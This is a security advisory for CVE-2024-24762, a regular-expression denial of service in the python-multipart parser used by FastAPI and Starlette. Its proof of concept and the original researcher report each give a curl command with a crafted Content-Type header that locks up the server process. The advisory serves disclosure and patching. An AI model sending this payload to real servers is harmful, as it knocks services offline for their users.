GHSA-2jv5-9r88-3w3p

Опубликовано: 12 фев. 2024

Источник: github

Github: Прошло ревью

CVSS3: 7.5

Описание

python-multipart vulnerable to Content-Type Header ReDoS

Summary

When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.

An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.

This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

This only applies when the app uses form data, parsed with python-multipart.

Details

A regular HTTP Content-Type header could look like:

Content-Type: text/html; charset=utf-8

python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74

A custom option could be made and sent to the server to break it with:

Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

PoC

Create a simple WSGI application, that just parses the Content-Type, and run it with python main.py:

# main.py from wsgiref.simple_server import make_server from wsgiref.validate import validator from multipart.multipart import parse_options_header def simple_app(environ, start_response): _, _ = parse_options_header(environ["CONTENT_TYPE"]) start_response("200 OK", [("Content-type", "text/plain")]) return [b"Ok"] httpd = make_server("", 8123, validator(simple_app)) print("Serving on port 8123...") httpd.serve_forever()

Then send the attacking request with:

$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8123/'

Impact

This is a ReDoS, (Regular expression Denial of Service), so it only applies to those using python-multipart to read form data, such as Starlette and FastAPI.

Original Report

This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r

Original report to FastAPI

Hey Tiangolo!

My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).

Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:

from typing import Annotated from fastapi.responses import HTMLResponse from fastapi import FastAPI,Form from pydantic import BaseModel class Item(BaseModel): username: str app = FastAPI() @app.get("/", response_class=HTMLResponse) async def index(): return HTMLResponse("Test", status_code=200) @app.post("/submit/") async def submit(username: Annotated[str, Form()]): return {"username": username} @app.post("/submit_json/") async def submit_json(item: Item): return {"username": item.username}

I'm running the above with uvicorn with the following command:

uvicorn server:app

Then run the following cUrl command:

curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'

You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%

You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.

If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.

Cheers

Impact

An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.

Occurrences

params.py L586

Ссылки

Пакеты

Наименование

python-multipart

pip

Затронутые версииВерсия исправления

<= 0.0.6

0.0.7

EPSS

Процентиль: 82%

0.01802

Низкий

7.5 High

CVSS3

CVE ID

CVE-2024-24762

Дефекты

CWE-400

Связанные уязвимости

CVE-2024-24762

CVSS3: 7.5

ubuntu

больше 1 года назад

`python-multipart` is a streaming multipart parser for Python. When using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options. An attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests, leading to regular expression denial of service. This vulnerability has been patched in version 0.0.7.

CVE-2024-24762

CVSS3: 7.5

nvd

больше 1 года назад

CVE-2024-24762

CVSS3: 7.5

debian

больше 1 года назад

`python-multipart` is a streaming multipart parser for Python. When us ...

ROS-20250203-09

CVSS3: 7.5

redos

7 месяцев назад

Уязвимость python3-multipart

BDU:2025-01435

CVSS3: 7.5

fstec

больше 1 года назад

Уязвимость потокового многокомпонентного парсера python-multipart, связанная с неэффективной сложностью регулярных выражений, позволяющая нарушителю вызвать отказ в обслуживании

EPSS

Процентиль: 82%

0.01802

Низкий

7.5 High

CVSS3

CVE ID

CVE-2024-24762

Дефекты

CWE-400